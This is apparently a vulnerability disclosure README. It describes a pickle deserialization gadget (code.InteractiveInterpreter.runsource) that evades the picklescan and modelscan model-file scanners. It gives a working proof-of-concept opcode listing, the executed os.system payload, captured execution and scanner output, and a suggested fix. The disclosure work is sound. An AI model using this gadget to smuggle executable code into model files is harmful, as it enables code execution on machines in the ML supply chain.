EnigmaConsultant's picture
Upload README.md with huggingface_hub
7da9f5b verified
|
Raw
History Blame Contribute Delete
6.8 kB

code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13)

Category: Pickle deserialization / scanner-bypass β€” new RCE gadget Targets:


Summary

A pickle stream that instantiates code.InteractiveInterpreter and then calls its runsource unbound method reaches exec() at unpickle time, achieving arbitrary code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it:

  • picklescan 1.0.5 blocklists the stdlib code module with a single exact-string entry that names only InteractiveInterpreter.runcode. It does not list InteractiveInterpreter.runsource. Both globals in the payload are classified as merely Suspicious (0 Dangerous / 0 Infected) β€” identical to how it treats the gadgets it already accepts as covered.
  • modelscan 0.8.8 does not include the code module in its unsafe_globals at all, and reports "No issues found".

Root cause

code.InteractiveInterpreter.runsource compiles a source string and executes it:

# CPython Lib/code.py  (unchanged on 3.13)
class InteractiveInterpreter:
    def runsource(self, source, filename="<input>", symbol="single"):
        try:
            code = self.compile(source, filename, symbol)   # compile() the source
        except (OverflowError, SyntaxError, ValueError):
            self.showsyntaxerror(filename)
            return False
        if code is None:
            return True
        self.runcode(code)          # -> exec(code, self.locals)
        return False

    def runcode(self, code):
        try:
            exec(code, self.locals)   # <-- arbitrary code execution
        ...

picklescan's blocklist entry for the code module (picklescan 1.0.5, src/picklescan/scanner.py, _unsafe_globals):

_unsafe_globals = {
    ...
    "code": {"InteractiveInterpreter.runcode"},   # <-- runsource is NOT listed
    ...
}

Because runsource compiles with symbol="exec" and then delegates straight to runcode -> exec, calling runsource is exactly as dangerous as calling runcode, but only runcode is on the blocklist. modelscan never lists the code module, so it misses both entrypoints.

PoC

A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates code.InteractiveInterpreter(), then (2) calls the runsource unbound method with (instance, malicious_source, "<input>", "exec"). runsource compiles the source in exec mode and runs it via runcode -> exec.

Generator: gen_poc.py. Artifacts: evil.pkl, evil.joblib (identical bytes β€” a joblib container is itself a pickle stream), control_os.pkl (negative control).

Disassembly of evil.pkl:

    0: \x80 PROTO      4
    2: c    GLOBAL     'code InteractiveInterpreter.runsource'
   41: (    MARK
   42: c        GLOBAL     'code InteractiveInterpreter'
   71: )        EMPTY_TUPLE
   72: R        REDUCE                     # instance = InteractiveInterpreter()
   73: \x8c     SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')"
  165: \x8c     SHORT_BINUNICODE '<input>'
  174: \x8c     SHORT_BINUNICODE 'exec'
  180: t        TUPLE      (MARK at 41)
  181: R    REDUCE                         # runsource(instance, source, '<input>', 'exec') -> exec
  182: .    STOP

The malicious source executed is: import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")

Captured evidence (verbatim)

EXECUTE β€” CPython 3.13.12, pickle.load(open('evil.pkl','rb'))

PWNED_MARKER written:

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
CODE_RUNSOURCE_GADGET

EXECUTE β€” CPython 3.13.12, joblib.load('evil.joblib') (joblib 1.5.3)

PWNED_MARKER written: same uid=1000(kali) ... output followed by CODE_RUNSOURCE_GADGET.

picklescan 1.0.5 β€” evil.pkl

Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
(exit=0)

Globals seen: GLOBAL 'code InteractiveInterpreter.runsource', GLOBAL 'code InteractiveInterpreter' β€” both classified Suspicious, none Dangerous.

modelscan 0.8.8 β€” evil.pkl

Scanning ... using modelscan.scanners.PickleUnsafeOpScan model
--- Summary ---
No issues found! πŸŽ‰
(exit=0)

Negative control β€” control_os.pkl (classic posix.system reduce)

Proves detection is live in both scanners.

picklescan 1.0.5:

control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1

modelscan 0.8.8:

Total Issues: 1
Total Issues By Severity:  CRITICAL: 1
"Use of unsafe operator 'system' from module 'posix'"
(exit=1)

Impact

Any workflow that scans a .pkl / .joblib / pickle-backed model file with picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model loading, joblib-serialized sklearn models) will pass the scan yet execute attacker code on load. Both tools are the de-facto pre-load scanners for the ML supply chain.

Dedup / prior-art note

  • No CVE or public advisory references code.InteractiveInterpreter.runsource (or runcode) as a pickle gadget at the time of writing.
  • Distinct from all 15 gadgets picklescan already covers in its blocklist (marshal.loads, types.FunctionType, operator.call, dataclasses._create_fn, pydoc.pipepager, cProfile/timeit, posix.spawnv_passfds, logging.config.dictConfig, etc.).
  • The related code.InteractiveConsole subclass and the runcode method are already on picklescan's list; runsource on the base InteractiveInterpreter class is the gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact string-match blocklist.
  • No prior Hugging Face repo or local workspace file references code / runsource / InteractiveInterpreter as a gadget.

Suggested fix

picklescan should add InteractiveInterpreter.runsource (and, for completeness, InteractiveConsole.runsource / push / interact, and compile_command) to the code module entry β€” or blocklist the code module wholesale. modelscan should add the code module to its unsafe_globals. A method-name allowlist/blocklist that enumerates individual methods is inherently fragile against sibling entrypoints that funnel into the same exec.